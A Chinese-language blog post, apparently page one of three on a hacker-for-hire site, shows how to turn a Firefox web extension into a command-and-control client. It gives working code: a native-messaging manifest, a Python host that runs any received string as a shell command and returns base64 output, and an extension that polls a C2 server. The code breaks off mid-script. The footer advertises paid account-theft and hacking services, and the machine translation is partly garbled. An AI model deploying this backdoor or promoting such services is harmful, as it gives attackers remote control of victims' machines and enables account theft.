使用Firefox扩展作为C2客户端

访客5年前黑客资讯997

留意:这项技能仅在Linux进步行了测验,在Mac或许Windows上无法运转。
Firefox Web扩展
火狐的web扩展其实便是插件的新叫法,用JavaScript代码编写,可以与浏览器的API进行交互。所以,根据这一点,我灵光一闪,想到可以写一个web扩展来作为CC客户端。
怎么完成
我细心研读了火狐关于Web扩展的官方文档之后,发现了一个Native Messaging的功用,它们在web扩展和体系程序之间创立了一个通道,假如你想了解更多细节,主张你去阅览官方文档,因为本篇文章不会着重讲这个知识点。
创立一个Native Messaging app
咱们需求两个文件来完成,一个manifest文件和一个应用程序来接纳来自Web扩展的指令,在官方文档上有如下的比如:
· manifest
· application
Manifest文件
这个文件告知火狐有一个新创立的函数可以被答应的web扩展调用,内容如下:
{
  "name": "execution",
  "description": "Malicious function",
  "path": "/home/user/.mozilla/extensions/payload.py",
  "type": "stdio",
  "allowed_extensions": [ "malicious-webextension@github.io" ]
}
可以看到有一个name特点,火狐将会把这个name特点值与一个函数绑定,而且allowed_extensions将只答应咱们的扩展来运用该函数(咱们会在webextension manifest上设置这个值为malicious-webextension@github.io),特点途径界说了app脚本寄存的方位。
然后仿制该文件到/home/user/.mozilla/native-messaging-hosts/execution.json
App script中。
App脚本
这是一个python脚本,经过STDIN从webextension接纳数据并作为体系指令履行这个值,对呼应进行编码,然后经过STDOUT将它发送到webextension。脚本如下:
#!/usr/bin/env python
 
import sys
import json
import struct
import base64
import subprocess
 
def getMessage():
    rawLength = sys.stdin.buffer.read(4)
    if len(rawLength) == 0:
        sys.exit(0)
    messageLength = struct.unpack('@I', rawLength)[0]
    message = sys.stdin.buffer.read(messageLength).decode('utf-8')
    return json.loads(message)
 
def encodeMessage(messageContent):
    encodedContent = json.dumps(messageContent).encode('utf-8')
    encodedLength = struct.pack('@I', len(encodedContent))
    return {'length': encodedLength, 'content': encodedContent}
 
def sendMessage(encodedMessage):
    sys.stdout.buffer.write(encodedMessage['length'])
    sys.stdout.buffer.write(encodedMessage['content'])
    sys.stdout.buffer.flush()
 
def execcmd(cmd):
    output = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE,universal_newlines=True)
    return base64.b64encode(output.stdout.encode()).decode()
 
while True:
    receivedMessage = getMessage()
sendMessage(encodeMessage(execcmd(receivedMessage)))
现在万事俱备,只欠东风了。webextension可以跟execution这个函数进行交互了。
创立一个webextension
咱们只需求创立两个文件,一个manifest.json文件,包括webextension信息,还有一个background.js文件,包括客户端逻辑。这儿咱们仅仅创立一个简略的比如,当然,咱们可以创立愈加杂乱的客户端。首要咱们来创立manifest文件:
{
  "description": "C2 Client",
  "manifest_version": 2,
  "name": "C2 Client",
  "version": "1.0",
  "applications": {
    "gecko": {
      "id": "malicious-webextension@github.io",
      "strict_min_version": "50.0"
    }
  },
  "background": {
    "scripts": ["background.js"]
  },
  "permissions": ["nativeMessaging",""]
}
我就不对一切参数逐个解说了,这儿最重要的是application里的gecko和id的值。这个值包括了在native messaging app上设置的相同的id,而且在特点permissions中的nativeMessaging值,向Firefox指定了这个webextension可以运用Native Messaging应用程序。
现在咱们来创立一个webextension来与咱们C2服务器交互:
var port;
var timeout = 1000;
var result = "none";
 
var sendMessage = function(){
  server = "http://127.0.0.1:8081/";
  var oReq = new XMLHttpRequest();
  oReq.open('POST',server,true)
  oReq.setRequestHeader('Content-type', 'application/x-www-form-urlencoded')
 
  oReq.onerror = function (e) {
    setTimeout(sendMessage,timeout); }
 
  oReq.ontimeout = function (e) {
    setTimeout(sendMessage,timeout);
  }
 
  oReq.onload = function(oEvent) {
    if (oReq.status == 200){

[1] [2] [3]  黑客接单网

相关文章

黑客接单事成付款_黑客帝国找李连杰出演

有一、 进犯力度你或许会想知道为什么咱们不让程序员直接拜访内存,而是增加这一层抽象化的内存。 直接拜访内存将会翻开一些安全漏洞。 。 因为许多用户安全意识缺乏,导致许多NDay缝隙被黑客使用进行进犯。...

全国最大诚信黑客接单_怎么找黑客帮忙做事

网页挖矿进犯它根本上就像运用任何其他JavaScript数组相同,除了运用ArrayBuffer之外,你不能将任何JavaScript类型放入其间,例如目标或字符串。 仅有能够放入的是字节,能够运用数...

帮我再找一些关于电脑知识的书吧,还有关于黑客的

Windows Embedded Standard 7 for x64搜索内容URL如下:https://www.shodan.io/search?query=Remote+Desktop+Proto...

zip解密,老婆把我拉黑名单找黑客找人,找黑客盗人号

http://mc.acfun.tv榜首级,评分0.0-3.9分,归于低危缝隙,这类缝隙无法绕过认证程序,简略来说进犯者无法运用这类缝隙拜访受限制的信息,也无法对体系形成要挟。 [1][2][3][4...

境外黑客接单,去哪找专业黑客,黑客帝国尼奥在找什么

http://wenzhou.acfun.tv关于甲方的企业来说事务永远是第一位的,没有事务何谈安全,那么咱们做应急呼应首要便是要保证事务可以正常运转,其次是复原进犯场景,进犯者是经过什么途径进行的进...

黑客接单定做软件,淘宝找黑客暗语,找黑客盗百度账号

实验环境怎么测验站点是否易受MSsql盲注进犯?这样查询的成果也是有用的,咱们现在知道数据库称号的榜首个字符的ASCII值是在105和120之间。 咱们能够持续, 要害字:“Co...